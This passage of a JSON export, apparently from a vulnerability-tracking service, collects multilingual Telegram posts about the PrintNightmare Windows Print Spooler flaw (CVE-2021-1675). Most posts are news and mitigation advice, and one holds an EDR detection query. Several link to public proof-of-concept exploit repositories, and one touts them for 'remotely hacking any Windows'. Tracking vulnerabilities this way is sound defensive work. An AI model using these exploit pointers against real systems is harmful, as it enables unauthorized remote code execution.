\u0442\u043e, \u0447\u0442\u043e PrintNightmare \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 (\u0435\u0449\u0435 \u0431\u044b, PoC-\u0442\u043e \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u0432 \u043f\u0430\u0431\u043b\u0438\u043a\u0435).\n\n\u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 Microsoft \u043f\u043e \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0435\u0441\u0442\u044c \u043f\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435.", "creation_timestamp": "2021-07-02T10:23:45.000000Z"}, {"uuid": "9f40c4f0-0ee2-4d39-a880-4a7e56471481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/true_secator/1873", "content": "\u200b\u200b\u041d\u0443 \u0438 \u0432\u0434\u043e\u0433\u043e\u043d\u043a\u0443 \u043a \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u043c\u0443 \u043f\u043e\u0441\u0442\u0443 \u043f\u0440\u043e \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e CVE-2021-1675", "creation_timestamp": "2021-06-30T21:00:11.000000Z"}, {"uuid": "33247d38-50da-4630-b424-143d92e7da9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/1871", "content": "\u041e\u0439, \u0431\u043b\u044f....\n\n\u0422\u0443\u0442 \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \u0438\u044e\u043d\u044c\u0441\u043a\u0438\u0439 \u043f\u0430\u0442\u0447 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0442 Microsoft \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u043b CVE-2021-1675 aka PrintNightmare, \u043f\u0440\u043e \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u044b \u043f\u0438\u0441\u0430\u043b\u0438 \u0432\u0447\u0435\u0440\u0430 \u0438 \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0430 \u0434\u043d\u044f\u0445 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f PoC.\n\n\u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e CVE-2021-1675 - \u044d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE) \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 spoolsv.exe (Print Spooler) \u0432 Windows. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e Print Spooler \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445.\n\n\u0418\u043c\u0435\u0435\u043c - \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u043e\u043a\u0430\u0437\u0430\u0432\u0448\u0438\u0439\u0441\u044f \u0432 \u043f\u0430\u0431\u043b\u0438\u043a\u0435 PoC \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0439\u0442\u0438 \u043d\u0435 \u0442\u0430\u043a?\n\n\u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e - \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043f\u0440\u0430\u0432\u0434\u0430 (\u0430 \u043c\u044b \u0443\u0437\u043d\u0430\u0435\u043c \u043e\u0431 \u044d\u0442\u043e\u043c, \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0447\u0430\u0441\u044b), \u0442\u043e \u044d\u0442\u043e \u043f\u0438\u0437\u0434\u0435\u0446\u043a\u0438\u0439 \u043f\u0438\u0437\u0434\u0435\u0446. \u0412\u044b \u0437\u043d\u0430\u0435\u0442\u0435, \u043c\u044b \u043d\u0435\u0447\u0430\u0441\u0442\u043e \u043c\u0430\u0442\u0435\u0440\u0438\u043c\u0441\u044f, \u043d\u043e \u044d\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0440\u0430\u0437 \u043c\u044b \u0442\u0430\u043a\u043e\u0435 \u0432 Stuxnet \u0432\u0438\u0434\u0430\u043b\u0438. \n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u0440\u0443\u0431\u0438\u0442\u044c spoolsv.exe. \n\nP.S. \u041f\u043e\u043a\u0430 \u043c\u044b \u043f\u0438\u0441\u0430\u043b\u0438 \u043f\u043e\u0441\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0442\u0432\u0438\u0442\u043e\u0432 \u043f\u0440\u043e \u0442\u043e, \u0447\u0442\u043e \u043f\u0430\u0442\u0447 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 CVE-2021-1675 \u043f\u0440\u043e\u043f\u0430\u043b\u0438, \u0445\u043e\u0442\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0441\u0442\u0440\u0430\u043d\u043d\u043e.", "creation_timestamp": "2021-06-30T15:43:02.000000Z"}, {"uuid": "0d0bd7f8-456d-4a5b-a8d5-b02a3f94dc77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/true_secator/1866", "content": "The Record \u043f\u0438\u0448\u0435\u0442, \u0447\u0442\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0442\u0440\u043e\u0435 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u0437 Sangfor \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043d\u0430 GitHub \u043f\u043e\u043b\u043d\u043e\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 CVE-2021-1675 \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 PoC. \u041e\u0448\u0438\u0431\u043a\u0443 \u043e\u043d\u0438 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 PrintNightmare.\n\nCVE-2021-1675, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u0438\u044e\u043d\u044c\u0441\u043a\u043e\u043c \u043f\u0430\u0442\u0447\u0435 Windows, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0434\u044b\u0440\u043a\u0443 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 spoolsv.exe. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE) \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0437\u044f\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043f\u043e\u0434 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c.\n\n\u0412\u0447\u0435\u0440\u0430 \u043a\u0438\u0442\u0430\u0439\u0446\u044b \u0438\u0437 QiAnXin \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0432 \u0441\u0432\u043e\u0435\u043c Twitter GIF \u0432 \u043f\u043b\u043e\u0445\u043e\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b \u043f\u043e\u043a\u0430\u0437\u0430\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043e\u0448\u0438\u0431\u043a\u0438. \u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0435 \u043a\u0438\u0442\u0430\u0439\u0446\u044b \u0438\u0437 Sangfor \u0440\u0435\u0448\u0438\u043b\u0438 \u0432\u044b\u043b\u043e\u0436\u0438\u0442\u044c \u0441\u0432\u043e\u0439 PoC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u043f\u043e \u0438\u0445 \u0441\u043b\u043e\u0432\u0430\u043c \u043e\u043d\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u0432 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0438 Tianfu Cup. \n\n\u0421\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u043e\u043d\u0438 \u043e\u0434\u0443\u043c\u0430\u043b\u0438\u0441\u044c \u0438 \u0443\u0434\u0430\u043b\u0438\u043b\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u0438\u0437 GitHub, \u043d\u043e \u0437\u0430 \u044d\u0442\u043e \u0432\u0440\u0435\u043c\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 PoC \u0443\u0436\u0435 \u0443\u0441\u043f\u0435\u043b\u0438 \u0440\u0430\u0441\u0442\u0430\u0449\u0438\u0442\u044c. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u044d\u0442\u0438\u043c \u043e\u0436\u0438\u0434\u0430\u0435\u043c \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 CVE-2021-1675 \u0432 \u043f\u0430\u0431\u043b\u0438\u043a\u0435 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u0412\u044b\u0432\u043e\u0434, \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043e\u0434\u0438\u043d - \u0435\u0441\u043b\u0438 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 \u0441\u0432\u043e\u0438 Windows, \u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u044d\u0442\u043e \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u0441\u0442\u0440\u0435\u0435. RCE - \u044d\u0442\u043e \u0432\u0430\u043c, \u0437\u043d\u0430\u0435\u0442\u0435 \u043b\u0438, \u043d\u0435 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435 \u0441\u0431\u043e\u0440\u043d\u043e\u0439 \u0420\u043e\u0441\u0441\u0438\u0438 \u043f\u043e \u0444\u0443\u0442\u0431\u043e\u043b\u0443 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0430 \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0431\u043e\u043b\u044c\u043d\u0435\u0435.", "creation_timestamp": "2021-06-29T16:49:28.000000Z"}, {"uuid": "e609b0fe-78dd-47c5-bf83-79696f303b99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/true_secator/1874", "content": "\u200b\u200b\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e PrintNightmare \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u0441\u0435 \u0447\u0443\u0434\u0435\u0441\u0430\u0442\u0435\u0435 \u0438 \u0447\u0443\u0434\u0435\u0441\u0430\u0442\u0435\u0435, \u043a\u0430\u043a \u0441\u043a\u0430\u0437\u0430\u043b\u0430 \u0431\u044b \u043a\u044d\u0440\u0440\u043e\u043b\u043e\u0432\u0441\u043a\u0430\u044f \u0410\u043b\u0438\u0441\u0430.\n\n\u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 Sangfor, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0438 PoC \u043e\u0448\u0438\u0431\u043a\u0438, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u0438, \u0447\u0442\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u0430\u044f \u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e CVE-2021-1675 \u0438 \u0435\u0441\u0442\u044c. \u0410 CVE-2021-1675 \u0431\u044b\u043b\u0430 \u0443\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0438\u044e\u043d\u044c\u0441\u043a\u0438\u043c \u043f\u0430\u0442\u0447\u0435\u043c \u043e\u0442 Microsoft.\n\n\u041e\u0434\u043d\u0430\u043a\u043e, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u0430\u044f \u043a\u0438\u0442\u0430\u0439\u0446\u0430\u043c\u0438 \u0434\u044b\u0440\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2021-1675 \u0432\u043e\u0432\u0441\u0435 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f, \u044d\u0442\u043e \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0430\u044f 0-day. \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0442\u0430\u043a, \u0442\u043e \u044d\u0442\u043e \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442 \u0432\u0447\u0435\u0440\u0430\u0448\u043d\u0438\u0439 \u043a\u0435\u0439\u0441, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 Windows \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f PrintNightmare \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c.\n\n\u041a\u0441\u0442\u0430\u0442\u0438, \u0414\u0435\u043b\u043f\u0438 \u0443\u0436\u0435 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043e\u0448\u0438\u0431\u043a\u0438, \u0430 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e - \u0434\u043e \u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432 Mimikatz \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u0434\u043e\u043b\u0433\u043e.\n\n\u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e PrintNightmare \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c RCE \u0441 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043b\u044e\u0431\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0422\u0430\u043a \u0447\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f, \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0442\u0430 \u0436\u0435, \u0447\u0442\u043e \u0438 \u0431\u044b\u043b\u0430 \u0432\u0447\u0435\u0440\u0430 - \u0441\u0440\u043e\u0447\u043d\u043e \u043e\u0442\u0440\u0443\u0431\u0438\u0442\u044c spoolsv.exe, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445 \u0434\u043e\u043c\u0435\u043d\u0430.", "creation_timestamp": "2021-07-01T10:59:57.000000Z"}, {"uuid": "c8008171-42f4-4463-8a48-971433cabd62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/Ou-Kzzl3nLkADt9_Yue4jZMgPKq1aQqAvVswhjnvvkETSg", "content": "", "creation_timestamp": "2021-07-16T14:35:20.000000Z"}, {"uuid": "2d3203d9-f02f-4bfc-b187-e38e0ad5c1d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/crackcodes/121", "content": "https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py\n\u261d\ufe0f\u261d\ufe0f\u261d\ufe0fRemotly hack any window", "creation_timestamp": "2021-07-10T05:15:39.000000Z"}, {"uuid": "2cf2248a-3d55-4a18-b2c8-d6cdaf77c32f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "Telegram/qGR49SFbKpxKTLOb8OqaUjBwAY4BRKVDacnjZqS22k5R", "content": "", "creation_timestamp": "2026-07-30T00:03:08.673457Z"}, {"uuid": "7cf9758c-f471-4ffc-8e07-94256163286f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/onelab1337/82", "content": "https://github.com/cube0x0/CVE-2021-1675", "creation_timestamp": "2026-07-30T00:03:14.573133Z"}, {"uuid": "0bb8e77f-c9b0-422f-ab64-7c3651b0f461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/onelab1337/63", "content": "PoC exploit for CVE-2021-1675 RCE started circulating online\n\nProof-of-concept exploit code for CVE-2021-1675 flaw, an attacker could exploit it to compromise Windows systems. Proof-of-concept exploit code for the CVE-2021-1675 flaw has been published online, the flaw impacts the Windows Print Spooler service and could be exploited to compromise Windows systems. Microsoft addressed the flaw with the release of Microsoft June 2021 Patch Tuesday [\u2026]\nThe post PoC exploit for CVE-2021-1675 RCE started circulating online appeared first on Security Affairs....\n\nContinue reading at Security Affairs", "creation_timestamp": "2026-07-30T00:03:14.623347Z"}, {"uuid": "bdde83fe-31fc-4a8f-9f2c-2be1c167dd6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/onelab1337/104", "content": "Da Lares Labs: Informa\u00e7\u00f5es de detec\u00e7\u00e3o e corre\u00e7\u00e3o para CVE-2021-1675 e CVE-2021-34527\nEste reposit\u00f3rio cont\u00e9m uma amostra EVTX do ataque CVE-2021-1675, bem como um arquivo de configura\u00e7\u00e3o m\u00ednimo do Sysmon que pode ser usado para gerar a telemetria relevante.\n\nObserve que essas regras podem ser contornadas - corrija conforme apropriado e desative o servi\u00e7o de spooler de impressora nos controladores de dom\u00ednio.\n\nTeste todas as corre\u00e7\u00f5es recomendadas antes de lan\u00e7ar para a produ\u00e7\u00e3o, pois pode haver consequ\u00eancias indesejadas como resultado dessas altera\u00e7\u00f5es de prote\u00e7\u00e3o. Escrevemos uma postagem de blog explicando o conte\u00fado deste reposit\u00f3rio e as informa\u00e7\u00f5es encontradas. Aqui: https://www.lares.com/blog/detection-and-mitigation-advice-for-printnightmare/\n\nSolu\u00e7\u00e3o Alternativa\nO patch lan\u00e7ado pela Microsoft infelizmente n\u00e3o corrige o problema, portanto, uma solu\u00e7\u00e3o alternativa pode ser aplicada desativando o servi\u00e7o de spooler da impressora. Veja como fazer isso no GPO e no PowerShell.\n\nRemo\u00e7\u00e3o de usu\u00e1rios autenticados do acesso compat\u00edvel anterior ao Windows 2000\nOutra corre\u00e7\u00e3o / solu\u00e7\u00e3o alternativa \u00e9 remover usu\u00e1rios autenticados \"Pre-Windows 2000 Compatible Access\" conforme descobertos por Dirk-jan .", "creation_timestamp": "2026-07-30T00:03:14.363284Z"}, {"uuid": "3cca46bb-a463-4a05-880b-dc93096673fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/onelab1337/103", "content": "https://github.com/LaresLLC/CVE-2021-1675", "creation_timestamp": "2026-07-30T00:03:14.529207Z"}, {"uuid": "88296919-2be6-418d-a437-a91e363e3b3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/KaitNews/8918", "content": "\ud83d\udd30 This EDR query to detect successful exploitation:\n\nprocess_name:spoolsv.exe AND modload:kernelbase.dll AND modload:unidrv.dll  AND modload:C:\\Windows\\System32\\spool\\drivers\\x64\\3\\*\n\nPrintNightmare CVE-2021-1675\n\n@KaitNews", "creation_timestamp": "2026-07-30T00:03:20.150153Z"}, {"uuid": "4b74e3dd-aa92-4dc6-a7c2-f94c67be21a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/KaitNews/8916", "content": "\u26a0\ufe0f \u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc\n\nPrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0648\u062f\u0647 \u0648 \u062a\u0645\u0627\u0645\u06cc \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u0631\u0627 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc \u062f\u0647\u062f!\n\n\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\n\n\u2705 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675\n\n\u2705 https://github.com/afwu/PrintNightmare\n\n\u2705 https://github.com/cube0x0/CVE-2021-1675\n\n@KaitNews", "creation_timestamp": "2026-07-30T00:03:20.206475Z"}, {"uuid": "b129f232-eed0-4072-913c-a7cb5107058f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/qGR49SFbKpxKTLOb8OqaUjBwAY4BRKVDacnjZqS22k5R", "content": "", "creation_timestamp": "2026-08-04T06:00:05.131728Z"}, {"uuid": "b1cd5669-b217-4774-8186-75edc0ee3682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/pwnwiki_zhchannel/725", "content": "CVE-2021-1675 Windows Print Spooler\u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-1675_Windows_Print_Spooler%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T04:42:21.000000Z"}, {"uuid": "43dfa437-1453-4faf-b8f1-41e7baba8db2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/information_security_channel/44549", "content": "Windows Admins Scrambling to Contain 'PrintNightmare' Flaw 